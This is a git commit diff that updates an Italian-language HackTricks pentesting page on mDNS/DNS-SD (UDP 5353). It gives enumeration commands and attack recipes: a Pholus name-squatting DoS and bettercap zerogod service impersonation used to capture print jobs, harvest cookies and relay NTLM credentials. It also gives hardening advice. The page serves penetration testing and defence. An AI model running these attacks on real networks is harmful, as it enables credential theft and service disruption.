mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns
This commit is contained in:
parent
f38c4c25a9
commit
6e884bd5d7
@ -65,7 +65,7 @@ def ref(matchobj):
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
rel_path = path.normpath(path.join(dir,href))
|
||||
try:
|
||||
logger.debug(f'Error getting chapter title: {href} trying with relative path {rel_path}')
|
||||
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
||||
if "#" in href:
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
|
@ -2,52 +2,142 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Informazioni di Base**
|
||||
## Informazioni di base
|
||||
|
||||
**Multicast DNS (mDNS)** consente operazioni simili al **DNS** all'interno delle reti locali senza la necessità di un server DNS tradizionale. Funziona sulla **porta UDP 5353** e consente ai dispositivi di scoprire l'uno l'altro e i loro servizi, comunemente visti in vari dispositivi IoT. **DNS Service Discovery (DNS-SD)**, spesso utilizzato insieme a mDNS, aiuta a identificare i servizi disponibili sulla rete attraverso query DNS standard.
|
||||
Multicast DNS (mDNS) consente la risoluzione dei nomi e la scoperta dei servizi simile al DNS all'interno di un link locale senza un server DNS unicast. Utilizza UDP/5353 e gli indirizzi multicast 224.0.0.251 (IPv4) e FF02::FB (IPv6). La scoperta dei servizi DNS (DNS-SD, tipicamente utilizzata con mDNS) fornisce un modo standardizzato per enumerare e descrivere i servizi tramite record PTR, SRV e TXT.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5353/udp open zeroconf
|
||||
```
|
||||
### **Funzionamento di mDNS**
|
||||
Dettagli chiave del protocollo che spesso sfrutterai durante gli attacchi:
|
||||
- I nomi nella zona .local vengono risolti tramite mDNS.
|
||||
- Il bit QU (Query Unicast) può richiedere risposte unicast anche per domande multicast.
|
||||
- Le implementazioni dovrebbero ignorare i pacchetti non provenienti dal link locale; alcune stack li accettano ancora.
|
||||
- La sondatura/annuncio impone nomi unici per host/servizi; interferire qui crea condizioni di DoS/"name squatting".
|
||||
|
||||
In ambienti senza un server DNS standard, mDNS consente ai dispositivi di risolvere i nomi di dominio che terminano in **.local** interrogando l'indirizzo multicast **224.0.0.251** (IPv4) o **FF02::FB** (IPv6). Aspetti importanti di mDNS includono un valore di **Time-to-Live (TTL)** che indica la validità del record e un **bit QU** che distingue tra query unicast e multicast. Dal punto di vista della sicurezza, è fondamentale che le implementazioni di mDNS verifichino che l'indirizzo sorgente del pacchetto sia allineato con la subnet locale.
|
||||
## Modello di servizio DNS-SD
|
||||
|
||||
### **Funzionamento di DNS-SD**
|
||||
I servizi sono identificati come _<service>._tcp o _<service>._udp sotto .local, ad esempio _ipp._tcp.local (stampanti), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), ecc. Scopri i tipi con _services._dns-sd._udp.local, quindi risolvi le istanze scoperte in SRV/TXT/A/AAAA.
|
||||
|
||||
DNS-SD facilita la scoperta dei servizi di rete interrogando i record puntatore (PTR) che mappano i tipi di servizio alle loro istanze. I servizi sono identificati utilizzando un modello **\_\<Service>.\_tcp o \_\<Service>.\_udp** all'interno del dominio **.local**, portando alla scoperta dei corrispondenti **record SRV** e **TXT** che forniscono informazioni dettagliate sul servizio.
|
||||
## Esplorazione e enumerazione della rete
|
||||
|
||||
### **Esplorazione della rete**
|
||||
|
||||
#### **Uso di nmap**
|
||||
|
||||
Un comando utile per scansionare la rete locale per i servizi mDNS è:
|
||||
- scansione target nmap (mDNS diretto su un host):
|
||||
```bash
|
||||
nmap -Pn -sUC -p5353 [target IP address]
|
||||
nmap -sU -p 5353 --script=dns-service-discovery <target>
|
||||
```
|
||||
Questo comando aiuta a identificare le porte mDNS aperte e i servizi pubblicizzati su di esse.
|
||||
|
||||
#### **Enumerazione della rete con Pholus**
|
||||
|
||||
Per inviare attivamente richieste mDNS e catturare il traffico, lo strumento **Pholus** può essere utilizzato come segue:
|
||||
- scoperta broadcast nmap (ascolta il segmento e enumera tutti i tipi/istanze DNS-SD):
|
||||
```bash
|
||||
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
||||
sudo nmap --script=broadcast-dns-service-discovery
|
||||
```
|
||||
- avahi-browse (Linux):
|
||||
```bash
|
||||
# Elenca i tipi di servizio
|
||||
avahi-browse -bt _services._dns-sd._udp
|
||||
# Sfoglia tutti i servizi e risolvi in host/porta
|
||||
avahi-browse -art
|
||||
```
|
||||
- Apple dns-sd (macOS):
|
||||
```bash
|
||||
# Sfoglia tutti i servizi HTTP
|
||||
dns-sd -B _http._tcp
|
||||
# Enumera i tipi di servizio
|
||||
dns-sd -B _services._dns-sd._udp
|
||||
# Risolvi un'istanza specifica in SRV/TXT
|
||||
dns-sd -L "My Printer" _ipp._tcp local
|
||||
```
|
||||
- Cattura pacchetti con tshark:
|
||||
```bash
|
||||
# Cattura live
|
||||
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
|
||||
# Solo query di elenco servizi DNS-SD
|
||||
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
|
||||
```
|
||||
|
||||
Suggerimento: Alcuni browser/WebRTC utilizzano nomi host mDNS effimeri per mascherare gli IP locali. Se vedi candidati random-UUID.local sulla rete, risolvili con mDNS per passare agli IP locali.
|
||||
|
||||
## Attacchi
|
||||
|
||||
### **Sfruttare il Probing mDNS**
|
||||
### Interferenza nella sondatura dei nomi mDNS (DoS / name squatting)
|
||||
|
||||
Un vettore di attacco prevede l'invio di risposte falsificate ai probe mDNS, suggerendo che tutti i nomi potenziali siano già in uso, ostacolando così i nuovi dispositivi nella selezione di un nome unico. Questo può essere eseguito utilizzando:
|
||||
Durante la fase di sondatura, un host verifica l'unicità del nome. Rispondere con conflitti falsificati costringe a scegliere nuovi nomi o a fallire. Questo può ritardare o impedire la registrazione e la scoperta del servizio.
|
||||
|
||||
Esempio con Pholus:
|
||||
```bash
|
||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||
# Block new devices from taking names by auto-faking responses
|
||||
sudo python3 pholus3.py <iface> -afre -stimeout 1000
|
||||
```
|
||||
Questa tecnica blocca efficacemente nuovi dispositivi dal registrare i loro servizi sulla rete.
|
||||
### Service spoofing and impersonation (MitM)
|
||||
|
||||
**In sintesi**, comprendere il funzionamento di mDNS e DNS-SD è cruciale per la gestione e la sicurezza della rete. Strumenti come **nmap** e **Pholus** offrono preziose informazioni sui servizi di rete locali, mentre la consapevolezza delle potenziali vulnerabilità aiuta a proteggere contro gli attacchi.
|
||||
Impersonare i servizi DNS-SD pubblicizzati (stampanti, AirPlay, HTTP, condivisioni di file) per costringere i client a connettersi a te. Questo è particolarmente utile per:
|
||||
- Catturare documenti simulando _ipp._tcp o _printer._tcp.
|
||||
- Attirare i client verso servizi HTTP/HTTPS per raccogliere token/cookie o consegnare payload.
|
||||
- Combinare con tecniche di relay NTLM quando i client Windows negoziano l'autenticazione con servizi falsificati.
|
||||
|
||||
### Spoofing/MitM
|
||||
Con il modulo zerogod di bettercap (mDNS/DNS-SD spoofer/impersonator):
|
||||
```bash
|
||||
# Start mDNS/DNS-SD discovery
|
||||
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
|
||||
|
||||
L'attacco più interessante che puoi eseguire su questo servizio è effettuare un **MitM** nella **comunicazione tra il client e il server reale**. Potresti essere in grado di ottenere file sensibili (MitM della comunicazione con la stampante) o anche credenziali (autenticazione Windows).\
|
||||
# Show all services seen from a host
|
||||
> zerogod.show 192.168.1.42
|
||||
|
||||
# Impersonate all services of a target host automatically
|
||||
> zerogod.impersonate 192.168.1.42
|
||||
|
||||
# Save IPP print jobs to disk while impersonating a printer
|
||||
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
|
||||
> zerogod.impersonate 192.168.1.42
|
||||
|
||||
# Replay previously captured services
|
||||
> zerogod.save 192.168.1.42 target.yml
|
||||
> zerogod.advertise target.yml
|
||||
```
|
||||
Anche vedere le metodologie generiche di spoofing LLMNR/NBNS/mDNS/WPAD e flussi di cattura/relay delle credenziali:
|
||||
|
||||
{{#ref}}
|
||||
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
### Note su recenti problemi di implementazione (utili per DoS/persistenza durante gli ingaggi)
|
||||
|
||||
- I bug di crash di Avahi reachable-assertion e D-Bus (2023) possono terminare avahi-daemon su distribuzioni Linux (ad es. CVE-2023-38469..38473, CVE-2023-1981), interrompendo la scoperta dei servizi sugli host target fino al riavvio.
|
||||
- Il DoS del gateway mDNS del Cisco IOS XE Wireless LAN Controller (2024, CVE-2024-20303) consente agli attaccanti adiacenti di generare un alto utilizzo della CPU e disconnettere gli AP. Se incontri un gateway mDNS tra VLAN, fai attenzione alla sua stabilità sotto mDNS malformati o ad alta frequenza.
|
||||
|
||||
## Considerazioni difensive e OPSEC
|
||||
|
||||
- Confini di segmento: Non instradare 224.0.0.251/FF02::FB tra zone di sicurezza a meno che un gateway mDNS non sia esplicitamente richiesto. Se devi collegare la scoperta, preferisci le liste di autorizzazione e i limiti di frequenza.
|
||||
- Endpoint/server Windows:
|
||||
- Per disabilitare completamente la risoluzione dei nomi tramite mDNS, imposta il valore del registro e riavvia:
|
||||
```
|
||||
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
|
||||
```
|
||||
- In ambienti gestiti, disabilita la regola del firewall di Windows Defender “mDNS (UDP-In)” integrata (almeno sul profilo di dominio) per prevenire l'elaborazione mDNS in entrata mantenendo la funzionalità di home/roaming.
|
||||
- Su versioni più recenti di Windows 11/temi GPO, utilizza la policy “Configurazione computer > Modelli amministrativi > Rete > Client DNS > Configura il protocollo DNS multicast (mDNS)” e impostala su Disabilitato.
|
||||
- Linux (Avahi):
|
||||
- Limita la pubblicazione quando non necessaria: imposta `disable-publishing=yes` e restringi le interfacce con `allow-interfaces=` / `deny-interfaces=` in `/etc/avahi/avahi-daemon.conf`.
|
||||
- Considera `check-response-ttl=yes` e evita `enable-reflector=yes` a meno che non sia strettamente necessario; preferisci le liste di autorizzazione `reflect-filters=` quando rifletti.
|
||||
- macOS: Limita l'inbound mDNS nei firewall host/rete quando la scoperta Bonjour non è necessaria per subnet specifiche.
|
||||
- Monitoraggio: Allerta su picchi insoliti nelle query `_services._dns-sd._udp.local` o cambiamenti improvvisi in SRV/TXT di servizi critici; questi sono indicatori di spoofing o impersonificazione del servizio.
|
||||
|
||||
## Riferimenti rapidi agli strumenti
|
||||
|
||||
- nmap NSE: `dns-service-discovery` e `broadcast-dns-service-discovery`.
|
||||
- Pholus: scansione attiva, sweep mDNS inversi, helper per DoS e spoofing.
|
||||
```bash
|
||||
# Sniffing passivo (secondi di timeout)
|
||||
sudo python3 pholus3.py <iface> -stimeout 60
|
||||
# Enumerare i tipi di servizio
|
||||
sudo python3 pholus3.py <iface> -sscan
|
||||
# Inviare richieste mDNS generiche
|
||||
sudo python3 pholus3.py <iface> --request
|
||||
# Sweep mDNS inverso di una subnet
|
||||
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
|
||||
```
|
||||
- bettercap zerogod: scoprire, salvare, pubblicizzare e impersonare servizi mDNS/DNS-SD (vedi esempi sopra).
|
||||
|
||||
## Spoofing/MitM
|
||||
|
||||
L'attacco più interessante che puoi eseguire su questo servizio è effettuare un MitM nella comunicazione tra il client e il server reale. Potresti essere in grado di ottenere file sensibili (MitM la comunicazione con la stampante) o anche credenziali (autenticazione Windows).\
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
@ -57,5 +147,7 @@ Per ulteriori informazioni controlla:
|
||||
## Riferimenti
|
||||
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
|
||||
- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)
|
||||
- [bettercap zerogod (mDNS/DNS-SD discovery, spoofing, impersonation)](https://www.bettercap.org/modules/ethernet/zerogod/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user